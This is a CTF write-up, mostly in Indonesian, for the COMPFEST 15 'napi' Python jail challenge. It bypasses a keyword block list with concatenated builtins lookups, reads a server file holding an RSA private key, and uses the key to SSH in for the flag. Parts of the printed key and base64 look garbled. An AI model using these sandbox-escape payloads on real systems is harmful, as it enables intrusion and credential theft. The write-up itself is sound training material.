CTF COMPFEST 15

napi

Information

Category:	Points:	Writeup Author
Misc	316	themanusia

Description:

> john is currently planning an escape from jail. Fortunately, he got a snippet of the jail source code from his cellmate. Can you help john to escape?
>
> nc 34.101.122.7 10008
>
> snippet.py

snippet.py

```python
# ...

def main():
    banned = ['eval', 'exec', 'import', 'open', 'system', 'globals', 'os',
'password', 'admin']

    print("--- Prisoner Limited Access System ---")

    user = input("Enter your username: ")

    if user == "john":
        inp = input(f"{user} > ")

        while inp != "exit":
            for keyword in banned:
                if keyword in inp.lower() or not inp.isascii():
                    print(f"Cannot execute unauthorized input {inp}")
                    print("I told you our system is hack-proof.")
                    exit()
            try:
                eval(inp)
            except:
                print(f"Cannot execute {inp}")

            inp = input(f"{user} > ")

    elif user == "admin":
        print("LOGGING IN TO ADMIN FROM PRISONER SHELL IS NOT ALLOWED")
        print("SHUTTING DOWN...")
```

```
        exit()

    else:
        print("User not found.")

# ...
```

Solution

Pada chall ini kita bisa menggunakan syntax python tapi dengan batasan tidak bisa menggunakan beberapa syntax pada list banned. Jalankan challnya pada remote dan kita coba menggunakan syntax berikut.

> john > print(__builtins__.__dict__['op'+'en'])

Dan menghasilkan

> <built-in function open>

Kita lanjutkan dengan melihat isi source code chall ini karena pada file yang ada pada soal kurang lengkap menggunakan syntax berikut.

> john > print(__builtins__.__dict__['op'+'en'](__file__).read())

Dan menghasilkan chall.py

chall.py

```python
password = open("creds.txt", "r")

del __builtins__.__import__


def main():
    banned = ['eval', 'exec', 'import', 'open',
              'system', 'globals', 'os', 'password', 'admin']

    print("--- Prisoner Limited Access System ---")

    user = input("Enter your username: ")

    if user == "john":
        inp = input(f"{user} > ")

        while inp != "exit":
            for keyword in banned:
                if keyword in inp.lower() or not inp.isascii():
                    print(f"Cannot execute unauthorized input {inp}")
                    print("I told you our system is hack-proof.")
                    exit()
            try:
                eval(inp)
```

```python
        except:
            print(f"Cannot execute {inp}")

        inp = input(f"{user} > ")

    elif user == "admin":
        print("LOGGING IN TO ADMIN FROM PRISONER SHELL IS NOT ALLOWED")
        print("SHUTTING DOWN...")
        exit()

    else:
        print("User not found.")


def admin(password_io=None):
    if password_io == globals()['password']:
        print(f"Welcome admin!")
        print("Here's the flag: ")
        with open("notice.txt", "r") as f:
            print(f.read())
    else:
        print("Wrong password!")


if __name__ == "__main__":
    try:
        main()
    except:
        print("Something horribly wrong happened")
```

Terlihat 2 file yang menarik yaitu `notice.txt` dan `creds.txt`, kita buka kedua file tersebut.

```
john > print(__builtins__.__dict__['op'+'en']('creds.txt').read())
```

```
john > print(__builtins__.__dict__['op'+'en']('notice.txt').read())
```

Dan menghasilkan creds.txt dan notice.txt.

creds.txt

```
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBbjhDYzFqdnZW
ZGFESTlOUThlbk5kd1BaTFd1Qkt5aG13ZklpV1NUREdJYi8xNTVkCmhXMGZ2aXNCVkJvMFZhamRG
MFhsL056MEpYd2RXcGVVcmdzaUUyKytrSHBrZ3Z6VHVma3BsVkRERkNBNDR6b3EKSHhhKS09TVzdW
VzgvNjdHbHorQlBBc1RkYloySUEwYThTVVJIZ1FXc0IybXlBRmxRNGNLNXBodlFpZjRQQ0didQpL
VkMyNTBHcTRTUzBnYnhicjdjjUXVhek9JYWljKzd5azYzcW5RakkvRVladkRMSHVtdG1uaEpnc3JM
SVdMeUZ2Ci9DU05XbkJXSVozREwwWGphUkRiQzBHMGw4dlNVNUpOZ0E2S1JRTDhUOUIwZk5pYX1l
U28zMWVHMy9CY3l5YVYKVG1EM1lsQ2J4NUU1T1Zsemt0N1I0M3dkYVZFV0FBVzBwWOGprdFFFJREFR
QUJBb0lCQUUxZkgxYlBMbXFYZTJwWUgpoV1cxQkJNNVpPMFBuVDdHMFlYcmZPRko0Y2UyUyVXFFZWpW
TDYrQjNGZkY0OFZzNkorNUt6QXVIR0xlVWR5S1hBCnRuelkzWWNtWHRoZ3Z0Z0K0dEaEdMY0sxbHNT
WEZPV2dzR294ejhramramRVbTdkYzhyMmZrVkE4V040NzNtUWkzaHkgd095SFNrNWQ3ZVNsTjFYZDdF
TjdhU2pmWGRBRzNVVTmRISWR2clAwL2t5K3J6SzlualN0bHF5RGUyYVFTZHRpNQpQa2xQSVY1QUVY
```

```
bnNSVGNoUzFLVTcvdWlxVUw5L1BsQlZXM1lieTl2OVExVm5Jd3Z4eXA2aVRQOW13RW1RM251Ci9h
Zm9XTEJtOUFicnV6UXpSdzN0aGN0UlNvMTZWREFBQW5ybGd1NkhMSXJGK21jaER6NERuN2pDZm8x
YlZzRk0KSTJ2aHlPRUNnWUVBMFlrRTZtSlBGdDhJcENZVzlOUGw3bHMzTnV1NVlNY2ZLbzhndy9h
RnZXaHJGRUtnOGJqUwp3STNrcTFGN0pWS0tYQVVGMDEwNGJmZ3QwMnJpTTJ0cGxUZnQ4ajZ0dGQ2
RWt3Yy8xdDhTUjNpelQyaTc5TW1hCnRTb3BCcThhcDZuRVEwSElITU9XYnlZVgxSmFsZVVhcTBl
eVRrQWNWZFRRN3E1OUZaTVpVazBDZ1lFQXd5MkEKU3V6Q0haaMy9uVGYrT0YvUi9JMi9nWHcvOGtj
MEhmSnZjbkVrZWg2TUR4cWhwc0YzZlRBbzZiV2N5cWZhbzdtVQpJREF2NjBlbjlyNFpwWdOQm1K
N2JhbUxTTmg3RDhhaTZPZ1d3Q1NDQ0JMV0RuSzFKZXd2NFhJWklLM3BERGZhCkJ1MWx0YUpqMkVG
WmVIQUV5a0MvSG5DbVhVbjZJazNudUt2NUFBa0NnWUFiRys0ZDRQQTRsa3lJNkVDcUZrdzIKUldq
a1d5VVZ4MDFaOVVDWStla2RzMGUvVEV1RVRWdwUXh3Mm5sWEZwaFhzZDExbFNGbnhidzYxNEtiMWFx
cm1mdgpuVmZVc3BWSTVXd2psWm1GMUVDS0xLeU9Sbytpd1A2YUY4Vk5EeFNVd3BzWTFJYnVhY09w
eDdVN3hlemdYYzdRCmdDc3FncExuNit2SUpaMGJVSGZETlFLQmdRQ3E4MTJkUW9ZN1hyb1d3SVpn
WmowTVVqTmNmTEdkeVpQeWJ2Z0MKYXVzaU0wTkZyM1BMRlVWTlZ6TmVrSDNHV3dMN3lIM2ZPNVdk
SkdRUGtDMnRLdkhObDlDNEdub3UwYjNuOFhtYgpPajFEQ2pjQ1QwMUIxbUtuMXBtUmcxaFM4VUJn
UFVNd01ocVYzcWhKTCtQbncyWE9xS3M5UkRuVEdBck90MEd3CjFLQUIwUUtCZ0FHVFVPWGhVOVhB
bHZVZG9DeTFUZTNLeU5TWFRwekJXNFJxN3p3ejZQMENOVzlQTHNxNHNFRU0KcjlHYXpFUys5aW92
eS9DeDlFd0xCVXlLWi9sTFVzUWNta2IwOWdTS2hBbTk5aXRKSVE0eHJYUytyR2I5dzZQrbgpqclRh
OHF6Y3QvOGNVOGlkeHlFUVZoc2xhRnlCQkU5elE2REtjb3RRQ1BrQmY3T09Lc0MvCi0tLS0tRU5E
IFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
```

notice.txt

```
--- IMPORTANT NOTICE ---

Dear admins, I have received information that a prisoner is trying to get access
to the flag.
I have moved the flag somewhere safe.
I would advise you not to access the flag right now.
But if there is an urgent matter, login to admin@THIS_SERVER_IP:10009 with your
password as the SSH key to access the flag.
```

Pada creds.txt masih berupa base64, kita encode menghasilkan rsa.txt.

rsa.txt

```
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAn8Cc1jvvVdaDI9NQ8enNdwPZLWuBKyhmwfIiWSTDGIb/155d
hW0fvisBVBo0VajdF0Xl/Nz0JXwdWpeUrgsiE2++kHpkgvzTufkplVDDFCA44zoq
HxJKOSW7VW8/67Glz+BPAsTdbZ2IA0a8SURHgQWsB2myAFlQ4cK5phvQif4PCGbu
KVC250Gq4SS0gbxbr7cQuazOIaic+7yk63qnQjI/EYZvDLHumtmnhJgsrLIWLyFv
/CSNWZrWIZ3DL0XjaRDbC0G0l8vSU5JNgA6KRQL8T9B0fNiayuSo31eG3/BcyyaV
TmD3YlCbx5E5NVlzkt7R43wdaVEWAAW0p8jktQIDAQABAoIBAE1fH1bPLmqXe2pV
hWW1BBM5ZO0PnT7G0YXrfOFJ4ce2UqEejVL6+B3FfF48Vs6J+5KzAuHGLeUdyKXA
tnzY3YcmXthgvt+GDhGLcK1lsSXFOWgsGoxz8kjdUm7dc8r2fkVA8WN473mQi3hy
wOyHSk5d7eSlN1Xd7EN7aSjfXdAG3UNdHIdvrP0/ky+rzK9njStlqyDe2aQSdti5
PklPIV5AEXnsRTchS1KU7/uiqUL9/PlBVW3Yby9v9Q1VnIwvxyp6iTP9mwEmQ3nu
/afoWLBm9AbruzQzRw3thctRSo16VDAAnrlgu6HLIrF+mchDz4Dn7jCfo1bVsFM
I2vhyOECgYEA0YkE6mJPFt8IpCYW9NPl7ls3Nuu5YMcfKo8gw/aFvWhrFEKg8bjS
wI3kq1F7JVKKXAUF0104bfgt02riM2tplTft8j6ttd6Ekwc/1t8SR3izT2i79Mma
```

```
tSopBq8ap6nEQ0HIHMOWbyYaX1JaleUaq0eyTkAcVdTQ7q59FZMZUk0CgYEAwy2A
SuzCHZ3/nTf+OF/R/I2/gXw/8kc0HfJvcnEkeh6MDxqhpsF3fTAo6bWcyqfao7mU
IDAv60en9r4ZVmgNBmJ7bamLSNh7D8ai6OgWwCSCCBLWDnK1Jewv4XIZIK3pDDfa
Bu1ltaJj2EFZeHAEykC/HnCmXUn6ck3nuKv5AAkCgYAbG+4d4PA4lkyI6ECqFkw2
RWjkWyUVx01Z9UCY+ekds0e/TEuEWpQxw2nlXFphXsd11lSFnxbw614Kb1aqrmfv
nVfUspVI5WwjlZmF1ECKLKyORo+iwP6aF8VNDxSUwpsY1IbuacOpx7U7xezgXc7Q
gCsqgpLn6+vIJZ0bUHfDNQKBgQCq812dQoY7XroWwIZgZj0MUjNcfLGdyZPybvgC
ausiM0NFr3PLFUVNVzNekH3GWwL7yH3fO5WdJGQPkC2tKvHNl9C4Gnou0b3n8Xmb
Oj1DCjcCT01B1mKn1pmRg1hS8UBgPUMwMhqV3qhJL+Pnw2XOqKs9RDnTGArOt0Gw
1KAB0QKBgAGTUOXhU9XAlvUdoCy1Te3KyNSXTpzBW4Rq7zwz6P0CNW9PLsq4sEEM
r9GazES+9iovy/Cx9EwLBUyKZ/lLUsQcmkb09gSKhAm99itJIQ4xrXS+rGb9w4+n
jrTa8qzct/8cU8idxyEQVhslaFyBBE9zQ6DKcotQCPkBf7OOKsC/
-----END RSA PRIVATE KEY-----
```

Pada notice.txt terdapat hint bahwa kita harus mengakses server SSH dengan credential admin. Lalu kita akses server SSH dengan password yang ditemukan tadi. Jangan lupa juga mengganti permission rsa.txt ke 600

```
$ chmod 600 rsa.txt
```

```
$ ssh admin@34.101.122.7 -p 10009 -i rsa.txt
```

Setelah berhasil mengakses server SSH kita gunakkan command

```
$ ls
```

untuk melihat list file dan terdapat file `flag.txt` dan kita buka untuk mendapakan flag

```
$ cat flag.txt
```

Flag:

COMPFEST15{clo5e_y0ur_f1LE_0bj3ctS_plZzz__THXx_053fac8f23}